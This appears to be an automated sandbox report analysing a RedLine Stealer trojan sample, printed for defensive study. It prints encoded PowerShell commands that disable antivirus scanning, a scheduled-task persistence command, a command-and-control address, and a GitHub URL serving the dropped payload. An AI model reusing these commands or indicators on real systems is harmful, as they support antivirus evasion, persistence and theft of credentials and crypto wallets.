

JOeSandbox Cloud BASIC



ID: 552919

Sample Name:

bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe

Cookbook: default.jbs

Time: 22:27:17

Date: 13/01/2022

Version: 34.0.0 Boulder Opal

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Overview

Sample Name:	bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe	
Analysis ID:	552919	
MD5:	dbc3444b430d10..	
SHA1:	3b68dc28e3f52e9.	
SHA256:	bf89b4a3ed56626.	
Tags:	exe RedLineStealer	
Infos:		

Most interesting Screenshot:

The figure displays a vertical stack of four colored boxes, each containing a threat level label. From top to bottom, the boxes are: a red box labeled 'MALICIOUS', a brown box labeled 'SUSPICIOUS', a green box labeled 'CLEAN', and a grey box labeled 'UNKNOWN'. Below this stack is a red button with the text 'RedLine'. At the bottom of the figure is a table with four rows of data.

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

- Yara detected RedLine Stealer
- Found malware configuration
- Multi AV Scanner detection for subm...
- Antivirus detection for dropped file
- Multi AV Scanner detection for dropp...
- Writes to foreign memory regions
- Tries to steal Crypto Currency Wallets
- Encrypted powershell cmdline option...
- Machine Learning detection for samp...
- Allocates memory in foreign process...
- Injects a PE file into a foreign proce...
- Queries sensitive video device inform...

■ **System is w10x64**

-  **bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe** (PID: 6328 cmdline: "C:\Users\user\Desktop\bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe" MD5: DBC3444B430D10B8DED18B89BF07FFC8)
 -  **AppLaunch.exe** (PID: 6388 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 6807F903AC06FF7E1670181378690B22)
 -  **build.exe** (PID: 5172 cmdline: "C:\Users\user\AppData\Local\Temp\build.exe" MD5: B228FA5A9B83EE75E71DE49EB56B2E4A)
 -  **cmd.exe** (PID: 6960 cmdline: "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAaAgAEAAKAakAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABIAcWAJABIAg4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBvAHMAaQBvAG4AIAABAACgAJwBIAHgAZQAnACwAJwBkAGwAbAaAnACKAIAAtAEYAbwByAGMAZQA=" & exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
 -  **conhost.exe** (PID: 1260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
 -  **powershell.exe** (PID: 2968 cmdline: powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAaAgAEAAKAakAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABIAcWAJABIAg4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" MD5: 95000560239032BC68B4C2FDFCDEF913)
 -  **powershell.exe** (PID: 6536 cmdline: powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBvAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBvAHMAaQBvAG4AIAABAACgAJwBIAHgAZQAnACwAJwBkAGwAbAaAnACKAIAAtAEYAbwByAGMAZQA=" MD5: 95000560239032BC68B4C2FDFCDEF913)
 -  **cmd.exe** (PID: 1412 cmdline: cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "ghjrytoi" /tr "C:\Users\user\AppData\Roaming\ghjrytoi.exe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
 -  **conhost.exe** (PID: 4856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
 -  **schtasks.exe** (PID: 6912 cmdline: schtasks /create /f /sc onlogon /rl highest /tn "ghjrytoi" /tr "C:\Users\user\AppData\Roaming\ghjrytoi.exe" MD5: 838D346D1D28F00783B7A6C6BD03A0DA)
 -  **cmd.exe** (PID: 1560 cmdline: cmd" cmd /c "C:\Users\user\AppData\Roaming\ghjrytoi.exe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
 -  **conhost.exe** (PID: 6376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
 -  **ghjrytoi.exe** (PID: 6784 cmdline: C:\Users\user\AppData\Roaming\ghjrytoi.exe MD5: B228FA5A9B83EE75E71DE49EB56B2E4A)
 -  **cmd.exe** (PID: 6764 cmdline: "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBvAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAaAgAEAAKAakAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABIAcWAJABIAg4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBvAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBvAHMAaQBvAG4AIAABAACgAJwBIAHgAZQAnACwAJwBkAGwAbAaAnACKAIAAtAEYAbwByAGMAZQA=" & exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
 -  **conhost.exe** (PID: 5488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
 -  **powershell.exe** (PID: 3896 cmdline: powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBvAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAaAgAEAAKAakAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABIAcWAJABIAg4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" MD5: 95000560239032BC68B4C2FDFCDEF913)
 -  **powershell.exe** (PID: 4648 cmdline: powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBvAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBvAHMAaQBvAG4AIAABAACgAJwBIAHgAZQAnACwAJwBkAGwAbAaAnACKAIAAtAEYAbwByAGMAZQA=" MD5: 95000560239032BC68B4C2FDFCDEF913)
 -  **sihost64.exe** (PID: 6244 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Telemetry\sihost64.exe" MD5: 42F02A9DEC3BCC34A5137FD448A8D1F)
 -  **WerFault.exe** (PID: 6760 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6328 -s 416 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
 -  **ghjrytoi.exe** (PID: 800 cmdline: C:\Users\user\AppData\Roaming\ghjrytoi.exe MD5: B228FA5A9B83EE75E71DE49EB56B2E4A)
 -  **cmd.exe** (PID: 5248 cmdline: "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBvAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAaAgAEAAKAakAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABIAcWAJABIAg4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBvAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBvAHMAaQBvAG4AIAABAACgAJwBIAHgAZQAnACwAJwBkAGwAbAaAnACKAIAAtAEYAbwByAGMAZQA=" & exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
 -  **conhost.exe** (PID: 5280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
 -  **powershell.exe** (PID: 5328 cmdline: powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBvAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAaAgAEAAKAakAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABIAcWAJABIAg4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" MD5: 95000560239032BC68B4C2FDFCDEF913)
 -  **powershell.exe** (PID: 5332 cmdline: powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBvAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBvAHMAaQBvAG4AIAABAACgAJwBIAHgAZQAnACwAJwBkAGwAbAaAnACKAIAAtAEYAbwByAGMAZQA=" MD5: 95000560239032BC68B4C2FDFCDEF913)
 - **cleanup**

Malware Configuration

Threatname: RedLine

```
{
  "c2 url": "2.56.56.131:81"
}
```

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security	

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.249417208.00000000000C2000.0000004.00000001.sdmpr	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security	
00000000.00000000.254663403.00000000000C2000.0000004.00000001.sdmpr	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security	
00000000.00000003.247223959.00000000036E2000.00000040.00000001.sdmpr	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security	
00000002.00000002.327340364.000000000402000.00000020.00000001.sdmpr	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security	
00000000.00000002.296099249.00000000000C2000.0000004.00000001.sdmpr	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security	
Click to see the 3 entries				

Unpacked PEs

Source	Rule	Description	Author	Strings
0.3.bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe.36e0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security	
0.0.bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe.c3b40.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security	
0.0.bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe.c3b40.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security	
2.2.AppLaunch.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security	
0.2.bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe.c3b40.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security	

Sigma Overview

System Summary:



- Sigma detected: Suspicious Execution of Powershell with Base64
- Sigma detected: Non Interactive PowerShell
- Sigma detected: T1086 PowerShell Execution

Jbx Signature Overview

Click to jump to signature section

AV Detection:



- Found malware configuration
- Multi AV Scanner detection for submitted file
- Antivirus detection for dropped file
- Multi AV Scanner detection for dropped file
- Machine Learning detection for sample

Networking:



- Potential dropper URLs found in powershell memory

System Summary:



- PE file has nameless sections

Boot Survival:



Uses schtasks.exe or at.exe to add and modify task schedules

Malware Analysis System Evasion:



Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

HIPS / PFW / Operating System Protection Evasion:



Writes to foreign memory regions

Encrypted powershell cmdline option found

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Stealing of Sensitive Information:



Yara detected RedLine Stealer

Tries to steal Crypto Currency Wallets

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality:



Yara detected RedLine Stealer

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control
Valid Accounts	Windows Management Instrumentation 2 2 1	Scheduled Task/Job 1	Process Injection 3 1 2	Disable or Modify Tools 1	OS Credential Dumping 1	File and Directory Discovery 1	Remote Services	Archive Collected Data 1	Exfiltration Over Other Network Medium	Ingress Tool Transfer 1
Default Accounts	Command and Scripting Interpreter 1	Boot or Logon Initialization Scripts	Scheduled Task/Job 1	Deobfuscate/Decode Files or Information 1	Input Capture 1	System Information Discovery 1 2 3	Remote Desktop Protocol	Data from Local System 3	Exfiltration Over Bluetooth	Encrypted Channel 2 1
Domain Accounts	Scheduled Task/Job 1	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information 2	Security Account Manager	Query Registry 1	SMB/Windows Admin Shares	Input Capture 1	Automated Exfiltration	Non-Standard Port 1
Local Accounts	PowerShell 1	Logon Script (Mac)	Logon Script (Mac)	Software Packing 3	NTDS	Security Software Discovery 3 2 1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol 2
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading 1	LSA Secrets	Process Discovery 1 2	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol 3
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion 2 3 1	Cached Domain Credentials	Virtualization/Sandbox Evasion 2 3 1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection 3 1 2	DCSync	Application Window Discovery 1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port



Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe	51%	ReversingLabs	Win32.Trojan.Fragtor	
bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe	100%	Joe Sandbox ML		

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Microsoft\Telemetry\sihost64.exe	100%	Avira	HEUR/AGEN.1137087	
C:\Users\user\AppData\Roaming\ghjrytoi.exe	100%	Avira	HEUR/AGEN.1137087	
C:\Users\user\AppData\Local\Temp\build.exe	100%	Avira	HEUR/AGEN.1137087	
C:\Users\user\AppData\Local\Temp\build.exe	40%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\build.exe	82%	ReversingLabs	Win64.Trojan.Donut	
C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sys	3%	Metadefender		Browse
C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sys	5%	ReversingLabs		
C:\Users\user\AppData\Roaming\Microsoft\Telemetry\sihost64.exe	40%	Metadefender		Browse
C:\Users\user\AppData\Roaming\Microsoft\Telemetry\sihost64.exe	75%	ReversingLabs	Win64.Trojan.Donut	
C:\Users\user\AppData\Roaming\ghjrytoi.exe	40%	Metadefender		Browse
C:\Users\user\AppData\Roaming\ghjrytoi.exe	82%	ReversingLabs	Win64.Trojan.Donut	

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
19.2.build.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137087		Download File
50.0.sihost64.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137087		Download File
41.0.ghjrytoi.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137087		Download File
0.0.bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe.400000.4.unpack	100%	Avira	TR/Crypt.ZPACK.Gen2		Download File
50.2.sihost64.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137087		Download File
38.0.ghjrytoi.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137087		Download File
0.0.bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe.400000.2.unpack	100%	Avira	TR/Crypt.ZPACK.Gen2		Download File
19.0.build.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137087		Download File
0.0.bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen2		Download File

Domains

Source	Detection	Scanner	Label	Link
raw.githubusercontent.com	0%	Virustotal		Browse
api.ip.sb	3%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe	
http://https://raw.githubusercontent.com/gay225/huiffs/main/soldbum.exe	0%	Virustotal		Browse
http://https://raw.githubusercontent.com/gay225/huiffs/main/soldbum.exe	0%	Avira URL Cloud	safe	
http://tempuri.org/	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id4	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id7	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id6	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id19Response	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id6Response	0%	URL Reputation	safe	
http://https://api.ip.sb/ip	0%	URL Reputation	safe	
http://https://render.githubusercontent.com	0%	URL Reputation	safe	
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe	
http://https://go.micro	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id9Response	0%	URL Reputation	safe	
http://https://contoso.com/Icon	0%	URL Reputation	safe	
http://https://raw.githubusercontent.com4	0%	Avira URL Cloud	safe	
http://tempuri.org/Entity/Id20	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id21	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id22	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id23	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id24	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id1Response	0%	URL Reputation	safe	
http://https://raw.githubusercontent.com	0%	Avira URL Cloud	safe	
http://raw.githubusercontent.com	0%	Avira URL Cloud	safe	
http://tempuri.org/Entity/Id10	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id11	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id12	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id16Response	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id13	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id14	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id15	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id16	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id17	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id18	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id19	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe	
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe	

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
github.com	140.82.121.4	true	false		high
raw.githubusercontent.com	185.199.109.133	true	false	• 0%, Virustotal, Browse	unknown
636f99c9511e45f08e5601b5ca39b470.pacloudflare.com	172.65.228.1	true	false		unknown
stratum-ravencoin.flypool.org	unknown	unknown	false		high
api.ip.sb	unknown	unknown	false	• 3%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/gay225/huiffs/main/soldbum.exe	false	• 0%, Virustotal, Browse • Avira URL Cloud: safe	unknown
https://github.com/gay225/huiffs/raw/main/soldbum.exe	false		high

URLs from Memory and Binaries

Contacted IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.199.109.133	raw.githubusercontent.com	Netherlands		54113	FASTLYUS	false
2.56.56.131	unknown	Netherlands		395800	GBTCLOUDUS	true
140.82.121.4	github.com	United States		36459	GITHUBUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	552919
Start date:	13.01.2022
Start time:	22:27:17
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 29s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	• HCA enabled • EGA enabled • HDC enabled • AMSI enabled

Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@40/31@5/4
EGA Information:	Successful, ratio: 40%
HDC Information:	- Successful, ratio: 84.4% (good quality ratio 65.6%) - Quality average: 57.3% - Quality standard deviation: 40.5%
HCA Information:	- Successful, ratio: 82% - Number of executed functions: 0 - Number of non-executed functions: 0
Cookbook Comments:	- Adjust boot time - Enable AMSI - Found application associated with file extension: .exe
Warnings:	Show All

Simulations

Behavior and APIs

Time	Type	Description
22:28:37	API Interceptor	1x Sleep call for process: WerFault.exe modified
22:28:45	API Interceptor	57x Sleep call for process: AppLaunch.exe modified
22:28:53	API Interceptor	2x Sleep call for process: build.exe modified
22:28:59	API Interceptor	221x Sleep call for process: powershell.exe modified
22:29:49	Task Scheduler	Run new task: ghjrytoi path: C:\Users\user\AppData\Roaming\ghjrytoi.exe
22:29:50	API Interceptor	2x Sleep call for process: ghjrytoi.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bf89b4a3ed566264_246e1ff18fe1b43fcf50866f9b9d9a6c122feb2_5ca8ca81_1a9426c8\Report.wer	
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bf89b4a3ed566264_246e1ff18fe1b43fcf50866f9b9d9a6c122feb2_5ca8ca81_1a9426c8\Report.wer	
Size (bytes):	65536
Entropy (8bit):	0.8195572723204053
Encrypted:	false
SSDEEP:	96:iSFtQln7gD3PhA3d71fUpXIQCQRc6UccEwcw3ePYx+HbHg/8BRTf3+kEJ8ImOyWI:B/QueZHPJa2jcK/u7sNS274ltw
MD5:	5F148D630B1402DE6969FC8FF71C6B4F
SHA1:	12E88FAF7C9B014C008FB007F7A5EA040D26D024
SHA-256:	E304016B6A771BE899EB1AD77E14ED93627F096D6537324C7C88FDE76FEE9DBC
SHA-512:	2E7684FCB9870F4AED282E0F2FA701AEA154595081C7B9F51EDAF7A0ECFC09B3E43C2C47C3E0A1AB07BED1D5EB47E9E11F4E20C9423A93389253D6C88583A39
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=1.....E.v.e.n.t.T.y.p.e.=A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=1.3.2.8.6.6.1.5.3.0.5.5.4.3.4.9.6.2.....R.e.p.o.r.t.T.y.p.e.=2.....C.o.n.s.e.n.t.=1.....U.p.l.o.a.d.T.i.m.e.=1.3.2.8.6.6.1.5.3.1.6.5.4.0.0.3.4.0.....R.e.p.o.r.t.S.t.a.t.u.s.=5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=7.1.8.5.c.6.d.c.-0.4.a.a.-4.7.6.c.-9.8.2.f.-c.f.f.f.1.9.0.5.8.0.8.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=f.e.e.a.c.b.4.8.-7.8.7.2.-4.6.9.c.-9.f.c.c.-8.1.f.2.c.3.a.d.7.e.f.c.....W.o.w.6.4.H.o.s.t.=3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=3.3.2.....N.s.A.p.p.N.a.m.e.=b.f.8.9.b.4.a.3.e.d.5.6.6.2.6.4.9.d.2.4.5.f.4.e.2.1.e.c.1.7.1.f.8.c.7.c.1.4.b.4.1.5.6.0.4...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=0.0.0.0.1.8.b.8.-0.0.0.1.-0.0.1.6.-5.3.2.3.-e.0.e.8.0.f.0.9.d.8.0.1.....T.a.r.g.e.t.A.p.p.i.d.=W...0.0.0.6.f.0.9.1.0.7.a.b.a.9.6.9.0.1.9.2.3.6.d.b.b.5.3.e.d.b.6.5.f.7.b.5.0.0.0.0.f.f.f.f.!0.0.0.0.3.b.6.8.d.c.2.8.e.3.f.5.2.e.9.c.1.4.d.3.d.8.5.8.f.4.9.2.3.2.8.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER110.tmp.WERInternalMetadata.xml	
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8518
Entropy (8bit):	3.6991830181235583
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNisg6eK6Yl4SUnNbgmfvSWrCpDG89bSJsf6Gm:RrlsNiz6z6YXSunNbgmfvSVSifi
MD5:	6EFE5CD6192481E7F1E77ADA53B0FA6B
SHA1:	8CA9B79B602FC926232F71CBE27FAAA7B0CF04D8
SHA-256:	78380730CA9B38723D50DBFB017FE297173AD5370B88C5F378F7F51CC7A6CB90
SHA-512:	D53A38B772F657BA18C3C9F7578A993143214951ACF083D265E3C32840BFA999D5874569003D87E118B701FCB212DF194B06C8DF5EAE76C18BCDE16FBEA1E10
Malicious:	false
Preview:	..<?.?x.m.l..v.e.r.s.i.o.n.="1...0"..e.n.c.o.d.i.n.g.="U.T.F.-1.6."?>.....<W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.....<O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.....<W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.</W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.....<B.u.i.l.d.>1.7.1.3.4.</B.u.i.l.d.>.....<P.r.o.d.u.c.t.>{(0x3.0)};. W.i.n.d.o.w.s..1.0..P.r.o.</P.r.o.d.u.c.t.>.....<E.d.i.t.i.o.n.>P.r.o.f.e.s.s.i.o.n.a.l.</E.d.i.t.i.o.n.>.....<B.u.i.l.d.S.t.r.i.n.g.>1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4...r.e.l.e.a.s.e...1.8.0.4.1.0.-1.8.0.4.</B.u.i.l.d.S.t.r.i.n.g.>.....<R.e.v.i.s.i.o.n.>1.</R.e.v.i.s.i.o.n.>.....<F.l.a.v.o.r.>M.u.l.t.i.p.r.o.c.e.s.s.o.r..F.r.e.e.</F.l.a.v.o.r.>.....<A.r.c.h.i.t.e.c.t.u.r.e.>X.6.4.</A.r.c.h.i.t.e.c.t.u.r.e.>.....<L.C.I.D.>1.0.3.3.</L.C.I.D.>.....</O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.....<P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.....<P.i.d.>6.3.2.8.</P.i.d.>.....

C:\ProgramData\Microsoft\Windows\WER\Temp\WER557.tmp.xml	
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4813
Entropy (8bit):	4.545067884806974
Encrypted:	false
SSDEEP:	48:cvlwSD8zsUS8JgtWl9fHWSC8BF8fm8M4JAl1uDZJFdCWolm+q8nzy1VLKSm8d:uITFW42SNcJTCWomxV98d
MD5:	20A0853C3D23CAB932D06F98B20091BE
SHA1:	2FCFD96BE41F7FA8FF1D21BE468A35781421675C
SHA-256:	4DF1A064F1D4672C1F99E81E64DAEFB1F71B9876AA8BDC91A08D0D8C5FF9C1C9
SHA-512:	D38456CC29C370A8B16F75D932805A319768D522E5F71AB377D878B1C3FD6AB2E9794B834250C12CF4BC898E7931972AD4F206C7B0D3B2F8B1FE2AF20352D775
Malicious:	false
